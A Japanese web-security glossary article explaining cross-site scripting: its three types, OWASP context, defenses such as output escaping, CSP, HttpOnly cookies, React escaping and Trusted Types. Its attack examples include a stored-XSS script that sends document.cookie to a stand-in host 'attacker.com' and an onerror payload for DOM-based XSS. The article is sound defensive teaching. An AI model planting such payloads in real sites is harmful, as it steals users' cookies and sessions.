XSS

Web サイトに悪意のあるスクリプトを注入し、ユーザーの情報を盗む攻撃

セキュリティWeb
「XSS」の技術書を見る →

XSS とは

XSS (Cross-Site Scripting) は、Web サイトに悪意のある JavaScript を注入し、ユーザーの Cookie、セッション、個人情報を盗む攻撃である。OWASP Top 10 では 2021 年版で XSS が単独項目から Injection のカテゴリへ統合され、2025 年版では A05:2025 Injection に含まれる。同カテゴリの解説は、CWE-79 (XSS) の報告 CVE が 3 万件を超えて件数では突出する一方、1 件あたりの影響度は SQL インジェクションより小さいと整理している。件数が多い理由は明快で、値を画面へ出す箇所は画面の数だけあり、1 箇所の取り残しで成立してしまう。

3 つの種類

分類の軸は、注入された値がどこを通って実行に至るかである。反射型と格納型はサーバーが返す HTML に値が混ざるため、防御をテンプレートの出力処理に置ける。DOM ベースは値がサーバーを一度も通らず、URL のフラグメント等からクライアントの JS が DOM へ書き込む型で、サーバー側の出力処理を完璧にしても防げない。被害範囲も違い、格納型は保存された 1 件が閲覧者全員へ配られるので最も広い。

種類説明例
反射型 (Reflected)URL パラメーター経由で注入?q=<script>alert(1)</script>
格納型 (Stored)DB に保存されたスクリプトが表示コメント欄にスクリプトを投稿
DOM ベースクライアント側の JS が DOM へ書き込むURL のフラグメントを innerHTML へ代入

攻撃の例

次の 2 例は値が入ってくる経路が違う。前者は保存された投稿がそのまま HTML として出力される型、後者は URL の断片をクライアントの JS が DOM へ書き込む型で、後者はフラグメント (# 以降) がサーバーへ送られないためアクセスログに痕跡が残らない。盗まれるものも Cookie に限らず、スクリプトはログイン中の利用者として画面操作や API 呼び出しを実行できる。

<!-- 格納型 XSS: コメント欄に投稿 -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- DOM ベース XSS -->
<script>
  document.getElementById('output').innerHTML = location.hash.slice(1);
  // URL: https://example.com/#<img src=x onerror=alert(1)>
</script>

防御策

根治にあたるのは出力時のエスケープだけで、他は被害を小さくするための多層防御である。

対策説明
出力エスケープ出力先の文脈ごとに変換 (HTML 本文なら < → &lt;)
CSP実行元を制限して被害を抑える緩和策 (根治ではない)
HttpOnly CookieCookie の持ち出しを防ぐ (スクリプトの実行自体は止まらない)
React の自動エスケープJSX の子要素は自動エスケープ (守備範囲外の経路あり)

「エスケープしておけば安全」とは言えない。同じ値でも HTML 本文 / 属性値 / JavaScript リテラル / CSS / URL で必要な変換規則が違い、規則を間違えると変換したのに突破される。さらに <script> の内側 / <style> の内側 / HTML コメントの内側 / 属性名が置かれる位置は、エスケープでは守れない文脈として OWASP が明示している。これらの位置には利用者由来の値を差し込まない設計にするのが唯一の手である。利用者に HTML そのものを書かせたい面だけ、許可する要素と属性を列挙する方式のサニタイズライブラリを通す。自作の禁止語リストは必ず回避される。

React での防御

JSX が自動でエスケープするのは、要素の子として置いた値と属性値の文字列化である。守備範囲の外が 2 つある。dangerouslySetInnerHTML は名前どおり HTML として解釈させる抜け道であり、もう 1 つはリンク先や画像の参照先へ値を差し込む経路で、javascript: で始まる文字列はエスケープ上は正しい文字列でありながら実行される。URL を受け取る箇所ではスキームを検証する。

// ✅ React は自動的にエスケープ
<p>{userInput}</p>
// userInput が "<script>alert(1)</script>" でも
// → &lt;script&gt;alert(1)&lt;/script&gt; として表示

// ❌ dangerouslySetInnerHTML は XSS の危険
<div dangerouslySetInnerHTML={{ __html: userInput }} />

CSP (Content Security Policy)

CSP は、ページが読み込んで実行できるスクリプトの出所を宣言するレスポンスヘッダーである。注入そのものは止めないが、注入されたスクリプトが実行される段で落とせる。

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

インラインスクリプトの実行を禁止し、許可されたオリジンからのスクリプトのみ実行を許可する。

OWASP は CSP を多層防御の 1 枚として、かつアプリごとに調整して使うものと位置づけ、全社共通の 1 枚を貼って対策済みと見なす運用を明確に否定している。ブラウザーや配信構成によって効き方が変わるため、CSP があることを理由に出力側のエスケープを緩めてはいけない。

2026 年 8 月時点の状況

DOM ベース XSS については、危険な代入先 (innerHTML / eval / script.src 等) へ生の文字列を渡せなくする Trusted Types が W3C 仕様として整備され、2026 年 2 月に主要ブラウザーの最新版で揃って利用できる状態になった。CSP の require-trusted-types-for で強制し、代入できるのは開発者が定義した方針オブジェクトを通した値だけになる。既存コードの書き換えが要るため段階導入になるが、危険な代入を見落としていないか人が数える問題から、型で塞ぐ問題へ移せる点が大きい。古いブラウザーでは効かないので、出力側のエスケープを置き換えるものではない。

共有:

この記事は役に立ちましたか?

関連用語

関連する記事